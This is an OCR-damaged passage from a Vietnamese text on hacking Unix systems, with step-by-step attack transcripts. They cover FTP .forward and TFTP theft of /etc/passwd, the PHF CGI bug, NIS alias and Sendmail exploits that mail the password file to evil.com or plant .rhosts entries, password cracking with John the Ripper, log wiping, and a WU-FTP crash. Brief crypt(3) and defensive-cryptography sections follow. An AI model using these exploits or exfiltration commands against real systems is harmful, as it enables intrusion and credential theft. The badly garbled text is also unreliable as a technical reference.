Mot vai chd y cho phuong phap st dung & trén, ; "rsh victim.com csh -i”
dugc sur dung lic ban dau Ién hé thong. Boi vi né khong dé lai bat ky ddu vét
nao trong hé kiém so4t file wtmp hay utmp. Lic nay Shell 1énh tir xa chua duoc
gan dén pseudo-terminal. Tuy nhién nd ciing it nhi€éu c¢6 anh hudng dén hé

thong.
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b) Khai thac FTP, TFTP, PHF Bug (etc/passwd or etc/shadow)

Tiép theo hacker s€ quay lai nhiing thong tin ma da thu thap dugc & trén. Hay
chud y dén tai khoan “ftp”, thong thuong thi cdic Anonymous Ftp thuong bi khoa
(vo hiéu hod). Anonymous Ftp c6 thé 1a mot cach dé dang dé c6 su truy nhap,
khi n6 thudng dugc cau hinh sai. Cho mot vi du cu thé: Hacker c6 thé 14y duogc
tap tin chita pass tir muc tiéu thong qua ftp. Néu nhu Home Directory cua ftp
trén muc tiéu cho phép write, hacker c6 thé thuc thi 1énh. Trong trudng hop nay,
né c6 thé ghi tap tin pass dén cho hacker bsi mot phuong phdp don gian.
Chuyén tiép file nhu mot 1énh khi mail dugc send cho tai khoan ftp.

evil % cat forward_sucker file

"[Ibin/mail zen@evil.com < /etc/passwd”

evil % ftp victim.com

Connected to victim.com

220 victim FTP server ready.

Name (victim.com:zen): ftp

331 Guest login ok, send ident as password.

Password:

230 Guest login ok, access restrictions apply.
ftp> Is -lga

200 PORT command successful.

150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).

total 5

drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 20 1 512 Jun 20 1991 bin
drwxr-xr-x 20 1 512 Jun 20 1991 etc
drwxr-xr-x 3101 1 512 Aug 22 1991 pub

226 ASCII Transfer complete.

114



242 bytes received in 0.066 seconds (3.6 Kbytes!/s)
ftp> put forward _sucker file forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)

ftp> quit

evil % echo test | mail ftp@victim.com

Bay gid hacker chd tap tin passwd sé€ dugc gii dén. C4c 16 hong trong ftp
thuong lién quan dén van dé quyén han sé hitu, gidy phép cho cic tap tin, thu
muc.

Trong khi chd doi hacker ¢ thé kiém tra mot Bug khac da dugc khai thac rong
rai:

% ftp -n

ftp> open victim.com

Connected to victim.com

220 victim.com FTP server ready.

ftp> quote user ftp

331 Guest login ok, send ident as password.

ftp> quote cwd ~root

530 Please login with USER and PASS.

ftp> quote pass ftp

230 Guest login ok, access restrictions apply.

ftp> Is -al | (or whatever)

Né&u thanh cong, hacker dang dang nhap nhu tu cach root. Va c6 kha nang stra
déi tap tin chia pass hay 1am bat cit diéu gi ma hacker muon.

Bay gio chiing ta chuyén qua tftp, cling giong nhu ftp...tftp cling duoc dung dé
chuyén tai dir liéu nhung n6é kém an toan hon nhiéu (Protocol: UDP, Port: 69).
Pau tién hacker can phai xac dinh xem muc tiéu cé open port 69 khong (c6 tftp
khong), dung nmap:

Nmap -sS target.com -p69 -o report.txt
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Néu port 69 open, hacker c6 thé 14y tap tin passwd tir thu muc /tmp

evil % tftp

tftp> connect victim.com

tftp> get letc/passwd Itmp/passwd.victim

tftp> quit

Ngoai cdc cich 1ay tap tin passwd bang cdc phuong phép trén con cé phuong
phép tin cong bing phé chuin dau vao (PHF Bug) dugc Jennifer Myers cong bo
vao nam 1996. N6 cho phép hacker 14y dugc tap tin passwd bang chudi 1énh
dugc excute truc tiép trén Browser:

http:l/target.com/cgi-bin/phf? Qalias=x%0albin/cat%20/etc/passwd

Hacker c6 thé dung cdc chuong trinh Scan Bug dé€ phat hién nhitng host bi dinh
Bug nay. Unix thi ¢6 cgiscan.c, phfscan...Duéi day 1a vi tri tap tin Passwd cua

mot s6 phién ban Unix va céc bién thé ctia né nhu BSD, AIX...

Version Path Token

AIX 3 letc/security/passwd !
/teblauthlfiles//

A/UX3.0s /tcblfiles/auth/?[*

BSD4.3-Ren letc/master.passwd g

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow g

DG/UX letc/tcblaaluser/ g

EP/IX /etc/shadow X

HP-UX /.secureletc/passwd *

IRIX 5 /etc/shadow X

Linux 1.1 letc/shadow g

OSF/1 letc/passwd| .dir|.pag] g

SCO Unix #.2.x /teblauthlfiles//
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SunOS4.1+c2 letc/security/passwd.adjunct ##username

Sun0S 5.0 /etc/shadow

System V Release 4.0 /etc/shadow X

System 'V Release 4.2 /etc/security/* database

Ultrix 4 letc/auth[ .dir/ .pag] *

UNICOS letc/udb *

Bug PHF ngoai viéc duoc khai thiac dé 1ay file passwd nhiéu trudng hop con
dugc khai thac dé Excute cic file va chuong trinh trén Server tir xa.

¢) Khai thac cac dich vu khac (RPC, NIS).

Néu nhu nhitng phuong phap da néu to ra chua hiéu qua, hacker sé st dung
nhiing phuong phdp quyét liet hon. Hacker c¢6 thé str dung “rpcinfo” hay mot s6
chuong trinh khic c6 tinh nang tuong tu...Tham chi né con manh va hitu ich
hon nhiéu so v6i “finger”. R4t nhiéu host chay RPC Service ma c6 thé khai théc
dugc. RPC c¢6 thé néi t6i Portmapper va cho hacker biét nhiéu thong tin thd vi
khéc. N6 ¢6 thé cho biét néu host chay NIS (Network Information Server), néu
n6 1a mot NIS Server, néu né 1a mot tram 1am viéc khong c6 6 dia, néu né chay
NFES (Network File System), hay bat ky Service thong tin nao (rusersd, rstatd,
etc). Chung ta hdy cung xem “‘rpcinfo”.
evil % rpcinfo -p victim.com [output trimmed for brevity's sake]

program vers proto port

100004 2 tcp 673 ypserv
100005 1 wudp 721 mountd
100003 udp 2049  nfs
100026 udp 733 bootparam
100017 1 tcp 1274 rexd

~ N

Trong trudng hop ndy, c6 thé nhin thdy mot s6 thong tin quan trong trén muc
tieu ciia hacker. Pau tién, né 12 mot NIS Server, c6 thé né chua duogc biét dén

rong rai, néu biét duoc NIS Domain cuia Server d6, hacker c6 thé cé bat ky
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thong tin nao vé NIS map chi bang mot rpc query don gian. Ngoai ra, hacker ¢c6
thé dé dang doan duoc pass, trén mot s6 hé thong c6 thé dé dang doan duoc NIS
Domainname. Viéc ¢d gang dodn Domainname thuong rat hiéu qua. Thuong 1a

tén Victim, tén t6 chiic... Néu hacker muén doidn Domainname clia nan nhan,

go:
evil 0 ypwhich -d victim victim.com
Domain victim not bound.
Hacker s€ chui y khu vuc NFS ma victim dang export ra (/var). Tat ca nhiing gi
can lam 12 phai mount thu muc nay va dé y dén thu muc con “yp”. Hacker s&
thdy danh muc cac thu muc con khac chia dung domainname ctia muc tiéu.
evil # mount victim.com:/var /foo
evil # cd Ifoo
evil # /bin/ls -alg [foolyp
total 17
1 drwxr-sr-x 4 root  staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root  staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root  staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root  staff 1536 Jul 12 14:22 foo bar

[...]
Trong truong hop nay, “foo_bar” chinh la NIS domainname. Ngoai ra, NIS

map thuong 1a mot danh sich tuyét voi chita User/Employment va host list .
Chd y rang dau ra rpcinfo cling cho thdy rang muc tiéu d6 rexd. Tuong tu nhu
rsh deadmon, rexd xur Iy nhitng yéu cAu tir ctia nhitng form ““ dé thuc hién nhiing
dong 1énh nhu ngudi dung do.

Trong khi cho két qua tir “rpcinfo”, muc tiéu cé vé nhu la mot server cho nhiing
Workstation khong c6 6 dia. Pay 1a diau hiéu cua su c6 mat cta dich vu

Bootparam, né cung cap thong tin cho nhitng Client khong ¢6 6 dia. Sir dung
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BOOOTPARAMPROC_WHOAMI va cung cép dia chi cta Client. Hacker ¢6
thé c6 NIS Domain ctia né. Diéu ndy c6 thé rit c6 ich khi né két hop véi viec
hacker ¢ thé nam quyén quyét dinh NIS map (nhu password file). Khi hacker
biét NIS Domain. Du6i ddy 1a mot doan ma dé thuc hién viéc dé. (Bootparam
danh cho SATAN)
char *server;
struct bp_ whoami_arg arg; /* query */
struct bp_whoami_res res, I* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
BOOTPARAMPROC WHOAMI xdr bp whoami_arg,&arg,
xdr_bp whoami_res, &res),;
printf("%s has nisdomain %s\n", server, res.domain_name);
Két qua dau ra showmount cho biét Client khong 6 dia ciia muc tiéu. Nhu vay

9

hackerstt dung dia chi Client cia né6 & bén  trong
BOOOTPARAMPROC_WHOAMI:
evil Y0 bootparam victim.com easy.victim.com
victim.com has nisdomain foo bar

NIS master diéu khién nhiing bi danh thu tin cho NIS Domain. Giéng nhu
nhitng file bi danh mail cuc bo. Hacker c6 thé tao cdc bi danh mail va n6 sé thu
hién cac lénh khi mail dugc gui di cho né. Vi du, hacker tao mot bi danh “foo”.
Nhitng mail chia file password s€ quay lai evil.com bai bat ky thong diép nao
send t6i no:

nr

nis-master # echo foo: "] mail zen@evil.com < /etc/passwd "’ >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases

nis-master # echo test | mail -v foo@victim.com
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Port mapper chi biét vé RPC Service. Nhiing Service mang khdc c6 thé dugc
dinh vi boi phuong phdp Brute Force ma két noi dén tat ca cac Port. C6 rat
nhiéu tién ich va dich vu lang nghe trén mot s6 Port mic dinh. SATAN c6 thé
Scan cac Port va cho thong bao kha rd rang. Néu hacker chay né hacker s€ thay:
evil % tcpmap victim.com
Mapping 128.128.128.1
port21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

Port 6000 - diéu nay cho biét rang muc tiéu dang chay X Windows. Néu
né chua dugc bdo vé ding mitc, Windows Display ¢ thé bi chop hoic bi theo
ddi, nhitng ¢6 gd phim clia ngudi dung ¢6 thé bi xem 1én, nhitng chuong trinh ¢6
thé bi thuc thi tir xa...Néu muc tiéu dang chay X Windows va chip nhan Telnet
dén Port 6000, diéu do c6 thé duoc sit dung dé thuc hién mot cudc tdn cong tir
choi cung cap dich (DOS - Denial Of Service). Mot phuong phap xac dinh tinh
dé ton thuong ctia mot X Server s& két noi t6i n6 theo duong XOpenDisplay()
function. Néu function quay lai vo hiéu luc. Hacker c¢6 thé dung Opendisplay
(danh cho SATAN):

char *hostname;
if (XOpenDisplay(hostname) == NULL) {

printf("Cannot open display: %s\n", hostname),
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}else {
printf("Can open display: %s\n", hostname),
/
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
X Terminal, n6 it manh hon mot s6 hé thong UNIX ddy du, né méac phai
nhiing van dé an toan cua chinh minh. Rat nhiéu X Terrminal cho phép truy
nhap “rsh” khong giéi han. Cho phép chuong trinh X Client trén Terminal cta
muc tiéu voi diu ra nhu sau:
evil %0 xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com

d) Khai thac dich vu Sendmail.

K& tiép, ching ta hay cung xem xét dich vu Sendmail. N6 1a mot dich vu rét
phtc tap va ¢c6 mot lich sir 1au dai vé cic van dé bao mat, bao gom Iénh “wiz”.
Hacker c6 thé xac dinh OS, tén phién ban clia muc tiéu boi viéc xem xét phién
ban trd lai ctia Sendmail. Chiing ta hiy 14n lugt xem xét cac tinh dé ton thuong
ctia Sendmail. Ngoai ra, c¢6 thé nhin thay néu ching chay bi danh "decode”
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00
PDT
expn decode
250 <"/lusr/bin/uudecode’>
quit
Viéc chay bi danh “decode” 12 mot mao hiém, né cho phép hacker ghi d¢ lén

bét cu file nao bdi chu nhan cta bi danh do, thuong 1a deadmon nhung né cé
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thé tiém tang bat cit ngudi ding nao. Xem xét mail nay, s& dat vao “evil.com”
trong d6 ngudi dung zen ¢6 .rhost néu né ¢o thé ghi:

evil % echo "evil.com” | uuencode /home/zen/.rhosts | mail decode@victim.com

Néu khong ¢6 thu muc nao duoc biét ¢ 6 thé ghi. Mot su bién déi thi vi s€ tao
ra mot ho chi€u gia /etc/aliases/.pag chita dung mot bi danh véi mot 1énh duge
thuc hién trén muc tiéu ctua hacker:

evil % cat decode

bin: "] cat letc/passwd | mail zen@evil.com”

evil % newaliases -0Q/tmp -0A pwd’/decode
evil % uuencode decode.pag letclaliases.pag | mail decode@victom.com

evil % lusr/libl/sendmail -fbin -om -oi bin@victim.com < /dev/null

Rat nhiéu thit c¢6 thé dugc tim ra boi viéc chi can hoi Senmail néu dia chi duoc
chdp nhan (vrfy), hoac mot dia chi mé rong nao d6 dén (expn). Khi ma Service
finger va ruser bi vo hiéu hoa. “vrfy” va “expn” c6 thé van con sir dung dé xac
dinh nhing tai khoan ngudi ding hodc muc tiéu. “vrfy” va “expn” c6 thé duoc
st dung dé tim ra nhitng ngudi dung dang chuyén mail xuyén qua bat ci
chuong trinh nao ma c6 thé khai théc.

Nhu mot Sendmail — Sendoff, ¢6 2 16 hong kha ndi ti€ng ma ching ta cin xem
xét. L& héng thi nhat duoc xdc dinh trong phién ban 5.59 cta Berkeley, du
nhiing thong bdao & bén dudi, cho nhiing phién ban truéc day dén 5.59,
“evil.com” duoc noi vao, dit nhitng thong bdo 16i, cing véi tat ca céc tieu dé
cua mail, tdi file chi 1o:

% cat evil sendmail

telnet victim.com 25 << EOSM
rcept to: lhomelzen/.rhosts

mail from: zen

data

random garbage

rept to: lhomelzen/.rhosts
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mail from: zen

data

evil.com

quit

EOSM

evil % /bin/sh evil sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is "N’
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %

L6 héng thit 2, méi duoc phat hién gan day cho phép bat cit ai chi 16 quyén sir
dung Shell 1&énh va nhitng tén cho ngudi gui hoac dia chi noi dén.
evil % telnet victim.com 25
Trying 128.128.128.1...

Connected to victim.com

Escape character is "N’

220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd”

250 "|Ibin/mail zen@evil.com < /etc/passwd"... Sender ok

rept to: nosuchuser

550 nosuchuser... User unknown

data

354 Enter mail, end with "." on a line by itself

250 Mail accepted

quit
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Connection closed by foreign host.
evil %

e) Crack Unix Password File.

Khi da c6 trong tay Password File, budc ti€p theo cdc Hacker s& tim cach dé
Crack né. D€ lam dugc diéu nay hacker cAn mot s6 cong cu, c6 thé sir dung 2 bo
phan mém la: John The Ripper va Crack 5.0...2 .

Khi hacker da c6 trong tay passwd file, hacker can phai xac dinh xem passwd
dugc ma hod bing dinh dang gi, c¢6 rat nhiéu chudn ma hoa nhu: DES (Data
Encrypt Standard), Shadow, MD5...ching ta thir xem xét qua vé cau tao cua file
passwd:

Mot vi du vé file passwd khong ma hod bang phuong phap Shadow:
root:RgX6dqOZsf4BI:0:1 :System PRIVILEGED Account,,,:/:/bin/csh

field:PASSWORD HERE:0:1 :Field Service PRIVILEGED
Account:lusr/field:/bin/csh
operator:PASSWORD HERE:0:28:Operator PRIVILEGED

Account:lopr:loprlopser

ris:Nologin:11:11:Remote Installation Services Account:/usr/adm/ris:/bin/sh
daemon:*:1:1:Mr Background:/:

sys:PASSWORD HERE:2:3:Mr Kernel:/usr/sys:

bin:PASSWORD HERE:3:4:Mr Binary:/bin:
uucp:Nologin:4:1:UNIX-to-UNIX
Copy:lusr/spool/uucppublic:/usr/lib/uucp/uucico

uucpa:Nologin:4:1:uucp adminstrative account:/usr/lib/uucp:
sso:Nologin:6:7:System Security Officer:/etc/security:
news:Nologin:8:8:USENET News System:/usr/spool/netnews:
sccs:PASSWORD HERE:9:10:Source Code Control:/:

ingres:PASSWORD HERE:267:74:ULTRIX/SOL

Administrator:/usrikits/sql:/bin/csh
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rlembke:n2550.YgDxqhs:273:15 :Roger
Lembke,,,:/usrlemail/users/rlembke:/bin/csh

rhuston:ju. FWWOOcUSM :274:15 :Robert Huston,st
304¢,386,:/usrlemaillusers/rhuston:/bin/csh

jegordon:w4735loghb8F51:275:15 :James." Tiger"
Gordon:/usr/emaillusers/jgordon:/bin/csh

Ipeery:YIJkAzKSxkz4M :276:15 :Larry Peery:/usrlemail/users/lpeery:/bin/csh
nsymes:ISzkV gKhuOWRM :277:15:Nancy
Symes:/usr/email/users/nsymes:/bin/csh

Mot file passwd gom 7 truong:

- Username: Tén nguoi dung.

- Password: Pass cua nguoi dung, tat nhién 1a n6 da duoc ma hoa.

- UserID: S6 nhan dién nguoi dung.

- GrouplD: S6 nhéan dién nhém.

- Comments: Mot s6 thong tin ghi chii nhanh vé nguoi dung.

- Home Direcoty: Thu muc ctia nguoi dung dang nhap.

- Login Command: Lénh thi hanh khi nguoi dung dang nhap, thuong 1a mot Shell
1énh.

Duéi day 1a mot vi du vé file passwd duoc ma hoé bang phuong phdp Shadow:
root:*:0:1:System PRIVILEGED Account,,,:/:/bin/csh

field:*:0:1:Field Service PRIVILEGED Account:/usr/field:/bin/csh
operator:*:0:28:0perator PRIVILEGED Account:/opr:/lopr/opser
ris:*:11:11:Remote Installation Services Account:/usr/adm/ris:/bin/sh
daemon:*:1:1:Mr Background.:/:

sys:*:2:3:Mr Kernel:/usr/sys:

bin:*:3:4:Mr Binary:/bin:

uucp.:*:4:1:UNIX-to-UNIX Copy:/usr/spool/luucppublic:/usr/lib/uucp/uucico

uucpa:*:4:1 :uucp adminstrative account:/usr/lib/uucp:
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ss0.:%:6:7:System Security Officer:/etc/security:
news:*:8:8:USENET News System:/usr/spool/netnews:
sces:*:9:10:Source Code Control:/:
ingres.:*:267:74:ULTRIXISQL Administrator:/usr/kits/sql:/bin/csh
rlembke:*:273:15:Roger Lembke,,,:/usr/email/users/rlembke:/bin/csh
rhuston:*:274:15:Robert Huston,st 304¢,386,:/usrlemail/users/rhuston:/bin/csh
jgordon:*:15:James."Tiger" Gordon:/usrlemail/users/jgordon:/bin/csh
Ipeery:*:276:15:Larry Peery:/usr/email/users/lpeery:/bin/csh
nsymes:*:277:15:Nancy Symes:/usr/lemail/users/nsymes:/bin/csh

Trong truong hop nay cac password da dugc ma hod thanh “*”. Néu 1ay duoc
file passwd nao nhu thé nay thi ciing tim dugc password thoi. Thuc chat file
passwd nay dugc lién két mot file khac ciing & /etc c6 tén la shadow. Day méi
thuc su la file chira password.

Sau khi da xdc dinh duoc file passwd dugc Crypt bang chudn nao, thi da dén
lic ta dung dén 2 cong cu:
Néu str dung John The Ripper, go:
john -w:puffs.dic <Password File>
Néu str dung Crack 5.0, go:
jack (Enter)

When prompted for password file: (Password File)
When prompted for wordlist file: PUFFS.DIC

Kién nhan cho doi, n€u qua trinh crack thanh cong, hacker sé€ c6 trong tay
Password ctia hé thong Unix. Néu 1a password cua root thi lic d6, quyén diéu
khién hé thong s& nam trong tay cua hacker, con néu la pass cia mot normal user
thi hacker can phai tiép tuc leo thang diac quyén dé c6 quyén root.
- Xod ddu vét: Thuong thi cidc hé thong Unix thuong cdu hinh log &

Jetc/sysconfig...Tai day n6 hién thi thong tin va vi tri céc tap tin log. Néu thich

126



don gian hacker c6 thé dung céc chuong trinh nhu zap, wzap dé thuc hién cac
cong viéc trén mot cach tu dong.
f) Khai thac 16 héng WU-FTP Server.

WU-FTP Server (Washington University - File Transfer Protocol Server). Mot

phan mém Server phuc vu FTP dugc dung kha phd bién trén cac hé thong Unix &
Linux.

Hoat dong cua Server phu thuoc vao mau file globbing. N6 duoc st dung boi
nhi¢u Shell 1énh khac nhau. Su thi hanh cta file globbing trén Server chita dung
tinh dé t6n thuong cho phép ciac Hacker c6 thé thuc thi cdc ma 1énh trén Server tir
xa (tit nhién 1a cdc ma c6 hai) dan dén viéc ghi d¢ cac file 1én Server, tir d6 s€
gay nén Crash hé thong.

Dé khai thac 16 héng nay hacker can:
- Phai ¢6 quyén truy nhap hgp 1é vao Server, ké ca cdc account nhu Guest va

Anonymous...néu ching dugc cho phép.

- Phai dat Shell Code vao trong Process Memory cua Server.

- Phai glri mot 1énh FTP dac biét chita dung mot globbing mau dac biét ma
khong bi dat bién 16i.

- Khi ma Server c6 gang giai phéng phan bo nhd da dugc st dung dé luu trit
globbed file. Thi dit liéu trong bd nhd cua Server s€ bi ghi de.

- Néu ghi d& mot Function, Code t6i mot Shellcode, c6 thé né s& duoc thuc thi

bdi chinh FTP Server.

* Sau day 1a vi du minh hoa (ghi de file trén Server):

ftp> open localhost
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready.
Name (localhost:root): anonymous
331 Guest login ok, send your complete e-mail address as password.

Password:
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230 Guest login ok, access restrictions apply.
Remote system type is UNIX.

Using binary mode to transfer files.

ftp> Is ~{

227 Entering Passive Mode (127,0,0,1,241,205)

421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21

7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd

26256 ? S 0.:00 ftpd:
sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaad

26265 tty3 R 0:00 bash -c ps ax | grep ftpd

(gdb) at 26256

Attaching to program: lusr/sbin/wu.ftpd, process 26256

Symbols already loaded for /lib/libcrypt.so.l

Symbols already loaded for /lib/libnsl.so.1

Symbols already loaded for /libl/libresolv.so.2

Symbols already loaded for /lib/libpam.so.0

Symbols already loaded for /1ib/libdl.so.2

Symbols already loaded for /lib/i686/libc.so0.6

Symbols already loaded for /1ib/ld-linux.so.2

Symbols already loaded for /lib/libnss_files.so.2

Symbols already loaded for /lib/libnss nisplus.so.2

Symbols already loaded for /lib/libnss nis.so.2

0x40165544 in _libc read () from /1ib/i686/libc.s0.6

(gdb) c

Continuing.
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Program received signal SIGSEGV , Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c

IV- MAT MA VA CAC VAN PE LIEN QUAN PEN HACKER

Chung ta da nghién cttu vé cach cac hacker str dung céc ky thuat hack dé dot
nhap hodc phd hoai mot hé thong mdy tinh. Cau hoi dat ra 1a c6 thé sir dung mat
ma dé phong chong hacker khong?

1. Ky thuat xam nhap

Muc tiéu cua hacker 1a truy cap trai phép vao mot hé thong hoac mé rong dac
quyén truy cap mot hé théng. Nhin chung, dé dat dugc diéu nay hacker phai thu
thap thong tin vé su bao vé cua hé thong. Trong da s6 cac truong hop, thong tin
nay 1a mot mat khau ngudi dung. Vi mot s6 hi€u biét vé mat khau cia mot s6
ngudi ding, mot hacker cé thé dang nhap vao mot hé thong va thuc thi tat ca cac
dac quyén phu hop dé trd thanh ngudi dung hop 1é.

Mot hé thong phai bao vé mot file chita mat khau véi mdi mot ngudi dung hop
1é. Néu nhu file nay luu trit khong duoc bao vé, thi nd sé dé dang bi truy cap va
14y di mat khau. File mat khau c6 thé duoc bao vé bing cédc cach sau:

- Ma hod mat khau dung cdc ham mot chiéu c6 do an toan cao: hé thong
chi chita duy nhit mot dang duoc ma hod cuia mat khau nguoi dung. Sau
khi ngudi ding dua va mot mat khau, hé thong ma hod mat khau nay va
so sanh no véi gia tri da luu trit. Trong thuc t€, hé thong thuong thuc hién
mot su bién déi mot chiéu (khong dao nguoc duoc) trong dé6 mat khau
dugc str dung dé sinh mot khod cho ham ma hoa va sinh ra & ddu ra c6 do
dai c6 dinh.

- Diéu khién truy nhap: su truy nhap dén mot file mat khau duoc gidi han
bdi mot hoac mot vai tai khoan nguoi dung.

N6i chung hacker ¢6 rat nhiéu cach dé 1ay mat khau nhung chu yéu 1a 3 céch:
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Poin mat khiu cua hé théng. Cach nay dua vao su bat cidn clia ngudi
dung trong viéc dat mat khau hé thong.

Dung ngua Trojan. Gai trojan vao hé thong dé md clra sau truy cap trdi
phép da ndi & trén.

Nghe trom dudng truyén tir mot ngudi ding diéu khién truy cap tir xa t6i

hé thong.

2. Su bao vé mat khau.

Mat khau 12 phéo dai ddu tién ma hacker can phai vuot qua khi truy nhap mot

hé thong. Thuc t&, tat ca cac hé thong da nguoi dung doi hoi mot ngusi dung

khong chi cung cap tén hodc ID (identifier) ma con mot mat khau. Mat khau

ding dé xdc thuc ID cuia ngudi diang nhap vao hé thong. ID dap tng su an toan

theo cac cach sau:

ID xac dinh xem nguoi dung nao dugc phép truy nhap hé thong. Trong
mot vai hé thong, chi nhiing ngudi cé file ID trong hé thong méi dugc
phép truy nhap.

ID xdc dinh dac quyén phut hop cho ting nguoi dung. Mot s6 it nguoi
dung c6 quyén gidm sat hodc “superuser” 1a c6 thé doc nhiing file va
thuc hién nhitng chiic nang dac biét duoc bao vé bai hé thong. Mot s6 hé
thong c6 nhiing tai khoan guest hoac gidu tén, va nhitng nguoi dung ma
c6 tai khoan c6 nhiing dac quyén hon nhiing nguoi khac.

ID dugc st dung giong nhu mot tir dién truy nhap diéu khién. Vi du, c6
mot danh sach nhitng ID ctia nhitng nguoi st dung, mot nguoi dung co

thé cép cho nhitng ID nay quyén c6 thé doc file cia minh.

Pé hiéu dugc ban chat clia ciac cudc tan cong, ching ta hdy xem xét mot

luoc d6 dugc sur dung rong rii trén hé thong UNIX, trong d6 nhitng mat khau

khong luu dudi dang rd. Ding hon, theo tha tuc duoc dung trong luoc do:

130



Password file

salt Password
12bits 56bits User ID salt  E ,4[salt,0]
l l load
/
Crypt (3) 7 <
11 ky tu

a. Nap mét mdt khdu mdi.

Password file

User id
UserID  salt E,4[salt,0]
Password
salt
select
.
Crypt(3)
Encypted pwd +
p» Compare

b. Kiém tra mot mdt khdu

Mbi ngudi ding chon mot mat khau tir 8 ky tu trd 1én. Mat khau nao duogc
chuyén thanh mot gid tri 56 bit (dung 7bit ASCII) va dua vao nhu mot khoa dau
vao cua mot thi tuc ma hod. Thi tuc ma hod la crypt(3), dua trén ma hoa DES.

Thuat todn ma hoa DES tron mat khiau v6i mot gid tri 12 bit (salt). Gia tri nay
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dugc gan vdi thoi gian lic mat khau duoc gan cho nguoi sit dung. Su thay doi
trong thuat toan duoc thuc hién véi mot dit liéu dau vao gom c¢6 mot khoi 64 bit
va nhitng gia tri zero (0). Pau ra cta thuat toan trd thanh dau vao cho mot ma hoa
thit 2. Qud trinh nay duoc lap di lap lai tong cong 25 lan. Két qua thu duoc 1a 64
bit ddu ra sau d6 duogc bién dich thanh 1 day 11 ky tu. Ban ma hod mat kh4u sau
do6 dugc luu trit, cing v6i mot ban sao clia “salt”, trong file mat khau twong ting
vGi moi ID.

“Salt” dugc gtri kém ¢6 3 muc dich:

- N6 ngin ngira ban sao ciia mat khau cé thé duoc xac dinh tir file mat
kh4u. Tham chi néu 2 ngudi ding chon cing mot mat khiu, nhitng mat
khau s& dugc gan tai nhitng thoi gian khéac nhau. Vi vay, “phan md rong”
mat khiu ctia 2 ngudi st dung s€ khac.

- N6 ¢6 hiéu qua 1am tang chiéu dai ctia mat khau ma khong doi hoi nguoi
dung phai nhé 2 ky tu thém. Vi vay, s6 nhitng mat khau c6 thé dugc tang
lén 4096 14n, vi vay s& khé dodn dugc mat khau.

- NO ciing ngan nglra st dung mot thi hanh phan cing cta DES, gay kho
khan cho viéc sir dung brute-force dé€ do4an nhan mat khau.

Khi mot ngudi diing ¢6 gang dang nhap vao mot hé théng UNIX, anh ta phai
cung cap mot ID va mot mat khau. Hé diéu hanh sir dung ID dé€ chi dan vao trong
file mat khau va trich rit “salt” va ban ma hod mat khau, va st dung ban ma ho4
mat khau 1am dau vao cho thi tuc ma. Néu két qua phi hop véi gia tri dugc luu
trit, mat khau dugc chap nhan.

Nhung phuong phap nay néi chung ciing khong an toan 1am, cang ngay toc do
tinh todn ctia mdy tinh cang nhanh, nhitng cong cu doin mat khiu ciing t6i uu
hon va nhanh hon do d6 mat khau ma hoa ciing c6 thé bi giai ma va hé thong bi
xam nhap.

3. An toan dir liéu.
Doi v6i van dé bao mat dit liéu trén mang, mot khi hacker da dot nhap duoc

vao may tinh, mdy tinh s& thudc quyén diéu khién ctia hacker, va c¢6 thé nhing dit
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liéu quan trong ctia may tinh s€ bi hacker khai thac. Nhung néu céac dit liéu quan
trong trén mdy duoc bdo vé ding céch thi ¢6 thé tranh dugc su dom ngd cla
hacker. Chiing ta c6 thé chuyén cdc dit liéu quan trong sang mot 6 cing khdc trén
mady (6 logic hodc vat 1y) r6i ding chuong trinh ma hoa giit lieu dé bao vé dir
liéu, chang han khi ta truy nhap 6 dia d6 thi yéu cdu cin mot mat khau chang
han, hoic 6 dia d6 dugc ma hoa sang mot hé thong file khdc ma hé diéu hanh
trén may khong thé nhin thay.

Hoic ta ¢ thé dung cdc san phdm vé an toan c6 sit dung mat ma dé bao vé
céc dit liéu khi ching duoc truyén trén kénh (vi du nhu bo phan mém bao vé géi
IP trén hé thong Sun Solaris, bd phan mém Free/SWAN trén Linux,....), trong
truong hop nay, néu hacker ding cédc bo phan mém dé nghe trom dudng truyén
(vi du nhu Packet boy, Sniffer,...)thi ciing chi thu vé duoc céc dit liéu da duoc ma
hod, va n€u muon thu dugc thong tin can thiét thi ho phai pha v& dugc hé mat va
day 1a mot khoi luong cong viec khong hé don gian, ngay ca doi v6i mot t6 chiic
c6 trong tay doi ngii cdc chuyén gia vé mat ma va cong nghé thong tin.

N6i céch khdc, ta hoan toan c6 thé khang dinh duogc rang, néu ching ta dung
cac k¥ thuat mat ma mot cach khoa hoc va dim bao cdc nguyén tic vé an toan
nghiép vu thi c6 thé chong lai duoc Hacker trong van dé tan cong bi dong (tic 1a
tdn cong dung dé 14y cip thong tin dugc luu trit trong hé théng hodc truyén trén
dudng truyén). Con doi véi cac kiéu tdn cong chu dong, vi du nhu lam lut hé
thong bing lénh ping (Ping of Death) hay tan cong vao céc 16 hong cua hé diéu
hanh, cua ting dung, chi€m tai nguyén hé thong thi mat ma (hay cdc san phdm an

toan dung k§ thuat mat ma) khong thé chong lai dugc.

V - PHONG CHONG HACKERS.
